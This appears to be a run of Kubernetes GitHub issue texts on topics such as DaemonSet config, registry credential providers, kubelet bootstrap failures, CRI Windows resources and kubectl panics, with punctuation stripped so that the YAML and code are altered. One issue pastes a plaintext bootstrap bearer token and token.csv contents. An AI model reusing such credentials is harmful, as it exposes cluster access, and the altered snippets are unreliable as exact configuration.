\\u0026\\u0026  while   0 -eq 0  ; do sleep 10; done \  ,\ image\ :\ busybox\ ,\ imagepullpolicy\ :\ ifnotpresent\ ,\ name\ :\ hivemp-elasticsearch-nodeconfig\ ,\ resources\ :{\ requests\ :{\ cpu\ :\ 0m\ }},\ securitycontext\ :{\ privileged\ :true}} }}}}\r   creationtimestamp: 2017-08-11t05:38:04z\r   generation: 1\r   labels:\r     component: hivemp-elasticsearch\r     role: nodeconfig\r   name: hivemp-elasticsearch-nodeconfig\r   namespace: default\r   resourceversion: \ 26048395\ \r   selflink: /apis/extensions/v1beta1/namespaces/default/daemonsets/hivemp-elasticsearch-nodeconfig\r   uid: 3f65f984-7e57-11e7-979c-42010af000e6\r spec:\r   revisionhistorylimit: 10\r   selector:\r     matchlabels:\r       name: hivemp-elasticsearch-nodeconfig\r   template:\r     metadata:\r       creationtimestamp: null\r       labels:\r         name: hivemp-elasticsearch-nodeconfig\r     spec:\r       containers:\r       - command:\r         - bash\r         - -c\r         - sysctl -w vm.max_map_count=262144 &&  while   0 -eq 0  ; do sleep 10; done \r         image: busybox\r         imagepullpolicy: ifnotpresent\r         name: hivemp-elasticsearch-nodeconfig\r         resources:\r           requests:\r             cpu: \ 0\ \r         securitycontext:\r           privileged: true\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r       dnspolicy: clusterfirst\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       terminationgraceperiodseconds: 30\r   templategeneration: 1\r   updatestrategy:\r     type: ondelete\r status:\r   currentnumberscheduled: 3\r   desirednumberscheduled: 3\r   numbermisscheduled: 0\r   numberready: 0\r   numberunavailable: 3\r   observedgeneration: 1\r   updatednumberscheduled: 3\r    \r \r   anything else we need to know?  :\r -\r \r   environment  :\r - kubernetes version  use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:23:22z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t06:43:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration  : google container engine\r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others: n/a\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r \r we have a private registry configured  where all images including the sandbox one , are hosted. the registry credentials are being pulled by one of k8s credentials providers   rancher  https://github.com/kubernetes/kubernetes/blob/master/pkg/credentialprovider/rancher/rancher_registry_credentials.go  \r \r  with kubernetes 1.7 sandbox image failed to be pulled with the following error message:\r \r    \r  unable to pull sandbox image \\\ <registry name>/google_containers/pause-amd64:3.0\\\ : error response from daemon: {\\\ message\\\ :\\\ get https://docker.fmr.com/v2/google_containers/pause-amd64/manifests/3.0: unknown: authentication is required\\\ }\ \r    \r \r looks like with this  commit  https://github.com/kubernetes/kubernetes/pull/46236/files  only creds from docker config are being evaluated on the sandbox image pull \r \r   what you expected to happen  :\r \r sandbox image pull should be attempted using credentials returned by not just the basic docker credential provider, but other credentials providers registered in the system.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1  register private repo credentials with one of the k8s credential providers  we've tried with rancher . configure the  pod-infra-container-image  to use the image from the the private repo.\r 2  make sure you are not logged in to this private repo on the kubelet host\r 3  try to create a pod. sandbox image pull will fail with an error mentioned above.\r \r   anything else we need to know?  :\r \r non-sandbox images from the same private repo were able to download correctly using private repo credentials provider.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.2\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

hi,all\r    i deploy kubernetes with 1.6.6. both master and node are on the same server.\r but kubelet cant start and log output is below\r    \r aug 29 01:27:46 master-1 kubelet: i0829 01:27:46.986319    6680 bootstrap.go:58  using bootstrap kubeconfig to generate tls client cert, key and kubeconfig file\r aug 29 01:27:46 master-1 kubelet: i0829 01:27:46.987016    6680 loader.go:354  config loaded from file /etc/kubernetes/bootstrap.kubeconfig\r aug 29 01:27:47 master-1 kubelet: i0829 01:27:47.023644    6680 request.go:991  request body: {\ kind\ :\ certificatesigningrequest\ ,\ apiversion\ :\ certificates.k8s.io/v1beta1\ ,\ metadata\ :{\ generatename\ :\ csr-\ ,\ creationtimestamp\ :null},\ spec\ :{\ request\ :\ ls0tls1crudjtibdrvjusuzjq0fursbsrvfvrvnuls0tls0ktulieu1jr1lbz0vbturzeezuqvrcz05wqkfvveritjvjm1jsylrwdwiyumxjekvktujzr0exvuvbee1vyznsegpkr1z0t201dlphvtziv0z6zedweuxurxdxvefuqmdjcwhrak9quulcqmdncwhrak9quu1cqndoq0fbuu1jsuffclg2wit5zmhaynvhc3q3wu45vjlioc9mk09jm1hadtb2stzonwxkwxfxm0pzl1hvbzv6wmt4ak42muuxalpgugckbi9rtwvzem92tw5nwulrug9bqxddz1ljs29asxpqmevbd0leu1fbd1jnswhbt2pvawjctkrqavhzynnlsei2rqpwnxphdnn5qxh0adbkvmk5y1jiwisyzldbauvbz3hswgfnnvzicwdtcgjktheycet3vljwdnpjdstiss9jbgnqcityzvnxrfk9ci0tls0tru5eienfulrjrkldqvrfifjfuvvfu1qtls0tlqo=\ ,\ usages\ : \ digital signature\ ,\ key encipherment\ ,\ client auth\  },\ status\ :{}}\r aug 29 01:27:47 master-1 kubelet: i0829 01:27:47.023791    6680 round_trippers.go:398  curl -k -v -xpost  -h \ user-agent: kubelet/v1.6.6  linux/amd64  kubernetes/7fa1c17\  -h \ authorization: bearer 7007baae247a3bcd73f9cb9ea24f618c\  -h \ content-type: application/json\  -h \ accept: application/json,  / \  https://192.168.3.13:6443/apis/certificates.k8s.io/v1beta1/certificatesigningrequests\r aug 29 01:27:47 master-1 kube-apiserver: e0829 01:27:47.034531    4671 authentication.go:58  unable to authenticate the request due to an error:  invalid bearer token, invalid bearer token \r aug 29 01:27:47 master-1 kube-apiserver: i0829 01:27:47.034662    4671 wrap.go:75  post /apis/certificates.k8s.io/v1beta1/certificatesigningrequests:  157.688µs  401   kubelet/v1.6.6  linux/amd64  kubernetes/7fa1c17  192.168.3.13:53140 \r aug 29 01:27:47 master-1 kubelet: i0829 01:27:47.035930    6680 round_trippers.go:417  post https://192.168.3.13:6443/apis/certificates.k8s.io/v1beta1/certificatesigningrequests 401 unauthorized in 12 milliseconds\r aug 29 01:27:47 master-1 kubelet: i0829 01:27:47.035962    6680 round_trippers.go:423  response headers:\r aug 29 01:27:47 master-1 kubelet: i0829 01:27:47.035967    6680 round_trippers.go:426      content-length: 13\r aug 29 01:27:47 master-1 kubelet: i0829 01:27:47.035970    6680 round_trippers.go:426      date: tue, 29 aug 2017 08:27:47 gmt\r aug 29 01:27:47 master-1 kubelet: i0829 01:27:47.035974    6680 round_trippers.go:426      content-type: text/plain; charset=utf-8\r aug 29 01:27:47 master-1 kubelet: i0829 01:27:47.035977    6680 round_trippers.go:426      x-content-type-options: nosniff\r aug 29 01:27:47 master-1 kubelet: i0829 01:27:47.036003    6680 request.go:991  response body: unauthorized\r aug 29 01:27:47 master-1 kubelet: error: failed to run kubelet: cannot create certificate signing request: the server has asked for the client to provide credentials  post certificatesigningrequests.certificates.k8s.io \r aug 29 01:27:47 master-1 systemd: kubelet.service: main process exited, code=exited, status=1/failure\r    \r after checking the file, find the same token value\r    \r  root@master-1 node   cat  /etc/kubernetes/bootstrap.kubeconfig \r apiversion: v1\r clusters:\r - cluster:\r     certificate-authority-data: ls0tls1crudjtibdrvjusuzjq0furs0tls0tck1jsur2akndqxfhz0f3sujbz0lvu1bqznvqodljddqwmctnmwyxufbgv0vxrhvrd0rrwuplb1pjahzjtkfrruwkqlfbd1puruxnqwthqtfvrujotunrmdr4rurbt0jntlzcqwduqjbkbgfvchbibwn4rurbt0jntlzcqwnuqjbkbaphvxbwym1jeerequtcz05wqkfvveeyczrjekvqtuewr0exvuvdee1hvtnsemrhvnrnuk13rvfzrfzruurfd3bycmrxsmxjbtvszedwek1cnfheveuzturneu9uqtrnrgd3tuzvwerusxlnrgd5t0rbne1ez3dnrm93wlrfte1ba0ckqtfvrujotunrmdr4rurbt0jntlzcqwduqjbkbgfvchbibwn4rurbt0jntlzcqwnuqjbkbgfvchbibwn4rerbswpcz05wqkfvveeyczrjekvqtuewr0exvuvdee1hvtnsemrhvnrnuk13rvfzrfzruurfd3byzfdkbgntnwxkr1z6ck1jsujjakfoqmdrcwhrauc5dzbcqvffrkfbt0nbuthbtuljqknns0nbuuvbdlvwqwlotgdvbnlimwo3sgozdkmkzfzym1hwwmhodhlpyw1czkx2duiyn2lqzldwqxrhng50yvcvs0tvbjfdmndovjjovhhczfbnsvivnfrmt1durwp2sun2rjdrzk9tmxf6vepyzu94merlbdnznxk4oevothexmukwzhlxunhna1qxzc9bee4zzkfktznwmnlvtvavckjjc2pqv0rktle3we9jz3nfrnp4yutceg5frtrca1rsm2rluejxqmvns0plnurryvflt0jvk250ugirclnzd1uky1jzsg9rou5otnr3rzzxme5lrfjutvlwtw01a2lpd0l5avi2oersk0dzag1gdhpoddi2wfbzzjlqk1a1dgvvbapby24xoew4mkq2avzydxn0ry9kb0tct1fwallrd1rrujb2ztfvnnv5nefowwqzdkvysxlhuutjzgqxvmf0qvrjckh3surbuufcbzjzd1pequ9cz05wsfe4qkfmoevcqu1dqvfzd0vnwurwujbuqvfil0jbz3dcz0vcl3djqkfqqwqkqmdovkhrnevgz1fvt01pm1dxyk45mknoaxpybldrnfhsthy0dgvjd0h3wurwujbqqkjnd0zvqvvptu8zv3fitgo5mknoaxpybldrnfhsthy0dgvjd0rrwuplb1pjahzjtkfrruxcuufez2dfqkfjzuxydmfressxbtfbnzvnakn4ckdhbvfqy2o2q05nmk4xbejkwwlja0jlsnu1sitmdgjdchzxodnxtlrxstm3k2fmovnry204cefkn0lpnnfwwtgkemwyrgdqt2yxsdbddhpkqvh1ngv0uhlaz0jwzxi4bfhfmmgxtctfujy2mzzlelpmmen5d2lvwstqovfqvkptrwphrxzhuxnatkrztlowz2nxntlyeku3vzvxu3pvywfwbst6bmflyi9jq0iya0erau1pnxjutmvtcgdyd2fitvvoclvpq05tvdrgvxpocvjqntnwr0nzohzymfl2swpxmwr3uhoxdmpozhb0tlppm1riqlhjrhzrdkxsuuexmtzpufeknxbdwkz6lzfiyu1gsxjhswdlcev4uwfqy080m3gvn29syzk1d0nfbjn1k3jebgloqnzenklkovlzt201ouxlywpgb009ci0tls0tru5eienfulrjrkldqvrfls0tls0k\r     server: https://192.168.3.13:6443\r   name: kubernetes\r contexts:\r - context:\r     cluster: kubernetes\r     user: kubelet-bootstrap\r   name: default\r current-context: default\r kind: config\r preferences: {}\r users:\r - name: kubelet-bootstrap\r   user:\r     token: 7007baae247a3bcd73f9cb9ea24f618c\r  root@master-1 node   cat  /etc/kubernetes/token.csv \r 7007baae247a3bcd73f9cb9ea24f618c,kubelet-bootstrap,10001,\ system:kubelet-bootstrap\ \r    \r please help me!

we removed docker dependencies from kubelet /healthz a couple of releases before, so that kubelet can properly report runtime is down. but kubelet still have a docker dependency at initial stage: \r \r https://github.com/kubernetes/kubernetes/blob/master/cmd/kubelet/app/server.go l150\r \r    \r \tvar dockerclient libdocker.interface\r \tif s.containerruntime == kubetypes.dockercontainerruntime {\r \t\tdockerclient = libdocker.connecttodockerordie s.dockerendpoint, s.runtimerequesttimeout.duration,\r \t\t\ts.imagepullprogressdeadline.duration \r \t} else {\r \t\tdockerclient = nil\r \t}\r    \r we should consider removing such dependency. \r \r cc/ @kubernetes/sig-node-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r currently container runtime interface  cri  only supports linuxcontainerconfig and therefore linuxcontainerresources in containerconfig. windows resource config is different from linux's, although it shares some common properties. for example, docker's resource config for both platforms: https://github.com/moby/moby/blob/master/api/types/container/host_config.go l308-l344. the resource controls for windows containers is documented at: https://docs.microsoft.com/en-us/virtualization/windowscontainers/manage-containers/resource-controls.\r \r   what you expected to happen  :\r since linuxcontainerconfig is configuration specific to linux containers, ideally there is windowscontainerconfig for configuration specific to windows containers, so that container runtime can take that config and pass to windows containers. for example,\r \r    \r // windowscontainerresources specifies windows specific configuration for\r // resources.\r // https://docs.microsoft.com/en-us/virtualization/windowscontainers/manage-containers/resource-controls\r message windowscontainerresources {\r     // cpu count. default: 0  not specified .\r     int64 cpus = 1;\r     // cpu percent. default: 0  not specified .\r     int64 cpu_percent = 2;\r     // cpu shares  relative weight vs. other containers . default: 0  not specified .\r     int64 cpu_shares = 3;\r     // memory limit in bytes. default: 0  not specified .\r     int64 memory_limit_in_bytes = 4;\r     // maximum iops for the container system drive. default: 0  not specified .\r     int64 io_maximum_iops = 5;\r     // maximum io in bytes per second for the container system drive. default: 0  not specified .\r     int64 io_maximum_bandwidth = 6;\r }\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : windows\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

>  \r \r   what happened  :\r i build the fault scene by injecting file handle, then kube-dns pod fails to start and stays in crashloopbackoff state. \r \r here is kube-dns's config file and my kubernetes version is 1.5.\r \r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   annotations:\r     deployment.kubernetes.io/revision: \ 1\ \r   generation: 1\r   labels:\r     k8s-app: kube-dns\r     kubernetes.io/cluster-service: \ true\ \r     version: v17\r   name: kube-dns-v17\r spec:\r   replicas: 2\r   selector:\r     matchlabels:\r       k8s-app: kube-dns\r       kubernetes.io/cluster-service: \ true\ \r       podaffinity: kube-dns-pod\r       version: v17\r   strategy:\r     rollingupdate:\r       maxsurge: 1\r       maxunavailable: 1\r     type: rollingupdate\r   template:\r     metadata:\r       enable: true\r       labels:\r         k8s-app: kube-dns\r         kubernetes.io/cluster-service: \ true\ \r         podaffinity: kube-dns-pod\r         version: v17\r     spec:\r       containers:\r       - command:\r         - /bin/sh\r         - -c\r         - /kube-dns --domain=cluster.local.\r           --dns-port=10053\r         image: cfe-kubedns-amd64:2.12.27\r         imagepullpolicy: ifnotpresent\r         livenessprobe:\r           failurethreshold: 5\r           httpget:\r             path: /healthz\r             port: 8080\r             scheme: http\r           initialdelayseconds: 60\r           periodseconds: 10\r           successthreshold: 1\r           timeoutseconds: 5\r         name: kubedns\r         ports:\r         - containerport: 10053\r           name: dns-local\r           protocol: udp\r         - containerport: 10053\r           name: dns-tcp-local\r           protocol: tcp\r         readinessprobe:\r           failurethreshold: 3\r           httpget:\r             path: /readiness\r             port: 8081\r             scheme: http\r           initialdelayseconds: 30\r           periodseconds: 10\r           successthreshold: 1\r           timeoutseconds: 5\r         resources:\r           limits:\r             cpu: 100m\r             memory: 512mi\r           requests:\r             cpu: 100m\r             memory: 100mi\r         securitycontext:\r           runasuser: 1000\r         terminationmessagepath: /dev/termination-log\r       - command:\r         - /bin/sh\r         - -c\r         - /usr/sbin/dnsmasq --keep-in-foreground\r           --port=5353 --cache-size=1000 --no-resolv --server=127.0.0.1 10053\r         image: cfe-kube-dnsmasq-amd64:2.12.27\r         imagepullpolicy: ifnotpresent\r         livenessprobe:\r           failurethreshold: 5\r           httpget:\r             path: /healthz\r             port: 8080\r             scheme: http\r           initialdelayseconds: 60\r           periodseconds: 10\r           successthreshold: 1\r           timeoutseconds: 5\r         name: dnsmasq\r         ports:\r         - containerport: 5353\r           name: dns\r           protocol: udp\r         - containerport: 5353\r           name: dns-tcp\r           protocol: tcp\r         resources: {}\r         securitycontext:\r           runasuser: 1000\r         terminationmessagepath: /dev/termination-log\r       - command:\r         - /bin/sh\r         - -c\r         - /exechealthz -cmd='nslookup -po=5353\r           kubernetes.default.svc.cluster.local 127.0.0.1 >/dev/null' -port=8080 -quiet\r         image: cfe-exechealthz-amd64:2.12.27\r         imagepullpolicy: ifnotpresent\r         livenessprobe:\r           failurethreshold: 5\r           httpget:\r             path: /healthz\r             port: 8080\r             scheme: http\r           initialdelayseconds: 60\r           periodseconds: 10\r           successthreshold: 1\r           timeoutseconds: 5\r         name: healthz\r         ports:\r         - containerport: 8080\r           protocol: tcp\r         resources:\r           limits:\r             cpu: 50m\r             memory: 20mi\r           requests:\r             cpu: 50m\r             memory: 20mi\r         securitycontext:\r           runasuser: 1000\r         terminationmessagepath: /dev/termination-log\r       dnspolicy: default\r       restartpolicy: always\r       securitycontext:\r         runasuser: 1000\r       terminationgraceperiodseconds: 30\r    \r       \r \r   how to reproduce it  as minimally and precisely as possible   :\r it occurs conditionally.\r \r   anything else we need to know?  :\r there is a circular dependency in this pod. it likes the containers died one after another. one container starts but its dependency have not started, then it dies.  \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.5\r

architecture:\r - 4x nodes\r - 2x masters  ha , 2x worker\r - built up from scratch\r - k8s version 1.7.2\r - ubuntu 16.04.03 lts, kernel v4.11  lowlatency \r \r there is a bug or routing flaw  as far as i can tell  in the following setup of k8s components:\r \r - ingress controller  nginx \r - ingress object  k8s ingress definition \r - nginx proxy\r - service  k8s service definition \r - pod  k8s pod definition \r \r our situation was a special ssh connection  port 6543  to a pod that holds our application.  \r the thing that worked at the beginning was an entry in the \ tcp-ports\  configmap with the following pattern:\r <pre><code> port : \  namespace / service-name : port \ </code></pre>\r the general request chain from user  simple http/https requests  to cluster as i thought of is:\r <pre><code>url request > ingress controller > ingress object > nginx > server block in nginx conf > service of the pod > pod</code></pre>\r \r the route somehow changes if you use the \ tcp-ports\ -variant. its behaviour isn't equal to the nodeport usage in services  which would work i think . the \ exposed\  port  in our case 6543  was available and everything worked until there was a difference between the location of the pod and the dns cache of the requesting user.  \r our dns entries point to 4x ips  101,102,103,104 .\r \r for example  fails :\r - pod is scheduled on xxx.xxx.xxx.101\r - user request  e.g. git clone  to the application was cached to xxx.xxx.xxx.102\r - result: timeouts  no connection at all \r \r for example  succeeds :\r - pod is scheduled on xxx.xxx.xxx.101\r - user request to the application was cached to xxx.xxx.xxx.101\r - result: everything works\r \r \r i thought that the kube-proxy would work like always and route this specific traffic in the pattern i knew from e.g. nodeports. in our case this isn't happening.\r \r just to check:\r - dns works\r - kube-proxy works  with nodeports and normal service connections \r - applications run without failures\r - ingress controllers work\r - ingress objects work  and get collected correctly by the controllers \r - nginx proxy works as intended\r \r with normal ports  80/443  there are no problems at all.\r \r  

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >   \r \r   what happened  :\r securitycontext attribute is not available for kind:deployment, requirement is to claim ceph hosted pvc on a non-root container.\r   what you expected to happen  :\r non-root user should be able write on a volume claim, at the moment fsgroup feature of securitycontext is only confined to kind:pod\r   how to reproduce it  as minimally and precisely as possible   :\r use kind: deployment and securitycontext doesn't work under containers, tried using it for fsgroup and kubectl create fails.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :1.9.2\r - cloud provider or hardware configuration:on-premise kubernetes setup\r - os  e.g. from /etc/os-release :rhel 7\r - kernel  e.g.  uname -a  :3.10.0-693.17.1\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r running  ./kubernetes/cluster/kubectl.sh replace -f pod2.yaml --grace-period=0 --force  leads to nil pointer dereference:\r \r    \r ./kubernetes/cluster/kubectl.sh replace -f pod2.yaml --grace-period=0 --force\r pod \ nginx\  deleted\r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x8 pc=0x1028416 \r \r goroutine 1  running :\r k8s.io/kubernetes/pkg/kubectl/genericclioptions/resource.  result .visit 0x0, 0xc420fa7910, 0x0, 0x124d21d \r \t/home/nilebox/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/genericclioptions/resource/result.go:96 +0x26\r k8s.io/kubernetes/pkg/kubectl/cmd/wait.  waitoptions .runwait 0xc4206f2150, 0x0, 0x184a9c0 \r \t/home/nilebox/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/wait/wait.go:168 +0x9a\r k8s.io/kubernetes/pkg/kubectl/cmd.  deleteoptions .deleteresult 0xc4200bed80, 0xc4200bd000, 0xc4200bed80, 0xc4206c8f20 \r \t/home/nilebox/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/delete.go:286 +0x287\r k8s.io/kubernetes/pkg/kubectl/cmd.  replaceoptions .forcereplace 0xc4200be480, 0x0, 0x0 \r \t/home/nilebox/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/replace.go:276 +0x368\r k8s.io/kubernetes/pkg/kubectl/cmd.  replaceoptions .run 0xc4200be480, 0x0, 0x0 \r \t/home/nilebox/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/replace.go:208 +0x1d6\r k8s.io/kubernetes/pkg/kubectl/cmd.newcmdreplace.func1 0xc42054aa00, 0xc42007b7c0, 0x0, 0x4 \r \t/home/nilebox/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/replace.go:119 +0xc3\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc42054aa00, 0xc42007b740, 0x4, 0x4, 0xc42054aa00, 0xc42007b740 \r \t/home/nilebox/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:760 +0x2c1\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc420140280, 0xc42079d3e0, 0x12a05f200, 0xc420857ee8 \r \t/home/nilebox/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:846 +0x30a\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc420140280, 0x17a38d8, 0x2388d00 \r \t/home/nilebox/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:794 +0x2b\r main.main  \r \t/home/nilebox/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/cmd/kubectl/kubectl.go:50 +0x196\r    \r \r   what you expected to happen  :\r  kubectl replace  is expected to run delete with wait in that case\r \r   how to reproduce it  as minimally and precisely as possible   :\r  ./kubernetes/cluster/kubectl.sh replace -f pod2.yaml --grace-period=0 --force   with any valid resource yaml \r \r \r   anything else we need to know?  :\r discovered in  64375 when accidentally enabled wait for deletion from other commands than  kubectl delete  and saw failing integration tests in https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/64375/pull-kubernetes-integration/13560/\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest master \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

we now default fstype to  ext4  for block device volumes if users do not set it.  but @thockin pointed out that in general linux can auto-detect filesystems, we can make the default be best-effort auto-detect, and try to avoid encouraging people to make assumptions. also we need to take windows support into account.\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r default to  ext4 \r \r   what you expected to happen  :\r \r leaving the api for the user to specify it , but make the node determine which fs to use if not specified, or configure the default values somewhere e.g. kubelet config params,  from admin... \r \r \r   anything else we need to know?  :\r discussion in this pr:  https://github.com/kubernetes/kubernetes/pull/63011 discussion_r212397395\r \r   \r cc @thockin @msau42 @jsafrane @saad-ali \r

audit logging replaced a majority of valid uses of this endpoint. it provides an easy escalation and is a security concern.\r \r  \r @liggitt @cjcullen

test/e2e/scheduler_predicates.go  does this:      nodeselectionroot := filepath.join testcontext.reporoot, \ docs/user-guide/node-selection\   testpodpath := filepath.join nodeselectionroot, \ pod-with-node-affinity.yaml\   runkubectlordie \ create\ , \ -f\ , testpodpath, fmt.sprintf \ --namespace=%v\ , ns        this is a nice pattern -- using config from an example directly in a test, which ensures sure the example stays in sync with the code. but this is going to break once kubernetes/kubernetes/docs/user-guide/ is deleted. i assume what we need to do is to create a  testcontext.docsreporoot  variable that points to  kubernetes/kubernetes.github.io  ? it seems that it is currently defined as a relative path  see https://github.com/kubernetes/kubernetes/blob/bf1bb5d30931b8031b929e9c280ee02842c65827/test/e2e/e2e.go l69  ; it would be nice if we can just define  testcontext.docsreporoot  the same way but just append  ../kubernetes.github.io/  at the end, but something tells me that won't work...  any thoughts from the test folks?  cc/ @kubernetes/sig-testing  @kevin-wangzefeng  @johndmulhausen

when i checked in  27741, i accidentally broke the  gke-ingress  and  autoscaler  suites, despite both of them using vendored versions of the gce provider. the problem is i added a minor option to  gce.conf , but  gcfg  https://godoc.org/gopkg.in/gcfg.v1  will error out on values it doesn't understand, so the old code started erroring out on new clusters  c.f.  27821 &  27813 .  it would be nice to move that file to something like proto, where not-understood values are well handled.

this is a split from  22205 where only node affinity  was added to daemonsets. pod affinity and pod antiaffinity are still missing in daemonsets.  it can be implemented in two ways: 1. add  interpodaffinitymatches  predicate check to  nodeshouldrundaemonpod  in  daemoncontroller.go  2. add  interpodaffinitymatches  predicate  to  generalpredicates  which is used by daemon set.  cc @bgrant0607

is this a bug report or feature request?  : bug report    kubernetes version  : 1.4.0      client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:16:57z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0+coreos.2\ , gitcommit:\ 672d0ab602ada99c100e7f18ecbbdcea181ef008\ , gittreestate:\ clean\ , builddate:\ 2016-09-30t05:49:34z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release : coreos -   kernel    e.g.  uname -a  : 4.7.0-coreos    what happened  :   trying out the alpha \ preserve source ip\  feature  see  19754 and http://kubernetes.io/docs/user-guide/load-balancer/  which does not seem to work on aws. the \ local only\  rule is not applied and traffic is still forwarded to all pods  i.e. to different nodes even across azs .    what you expected to happen  :  iptables rules on nodes should route elb traffic to local pods only if  onlylocal  is specified.    how to reproduce it    as minimally and precisely as possible : - enable alpha features on all components  -feature-gates=allalpha=true  - create a cluster on aws with at least two worker nodes  ec2 instances  - deploy a replica set with at least two pods spread across worker nodes - create a service type  loadbalancer  with the annotation  service.alpha.kubernetes.io/external-traffic: onlylocal  - observe the local iptables rules on the worker nodes   sudo iptables-save  : a  kube-xlb-   chain will be created, but no rule is using it  jumping to it with  -j  .    anything else do we need to know  :  this issue seems to be related to  aws.go  filling  loadbalancerstatus.ingress.hostname  and  proxier.go  expecting  loadbalancerstatus.ingress.ip . as the aws elb only provides a hostname  ips change regularly , there is no easy fix.

i'm a newcomer to kubernetes, and have been trying to write e2e tests and run them against a running cluster. i have found that the e2e tests are largely parameterized so that they can be run on any k8s cluster  which is great! , but those parameters are largely undocumented, as are their default values.   i'm going to describe the experience i've had trying to get this working. i hope that readers of this issue understand i'm pointing out nitpicky issues i encountered only to give the more experienced team the perspective of what a newcomer to e2e's might experience.  for background, my cluster is one which i have manually launched using my own vagrant scripts. therefore, it is not truly one of either type  local  nor  vagrant . 1. the steps say to  export kubeconfig=/path/to/kubeconfig . my kubeconfig is already populated with all the information about my k8s cluster. yet, the e2e tests seem to ignore all of it, and use predefined defaults overridden by undocumented environment variables. 2. these environment variables are not documented in one place, and the ones that are described might be wrong. for example,  e2e.md  says to  export kube_master_ip=\ http://127.0.0.1:<port>\  , but i found when i did that, the tests prepend  http://  onto  kube_master_ip , and the tests end up trying to connect to  http://http://127.0.0.1:<port> . 3.  some  --test_args  are listed  https://github.com/kubernetes/kubernetes/blob/master/docs/devel/e2e-tests.md bringing-up-a-cluster-for-testing , but the documentation states  for the purposes of brevity, we will look at a subset of the options...  without ever explaining how to find the full list of supported options.  4. tests run with  kubernetes_provider=local  will contact master via  kube_master_ip , whereas tests run with  kubernetes_provider=vagrant  will contact master via  kube_master_url .  i'll need to double check 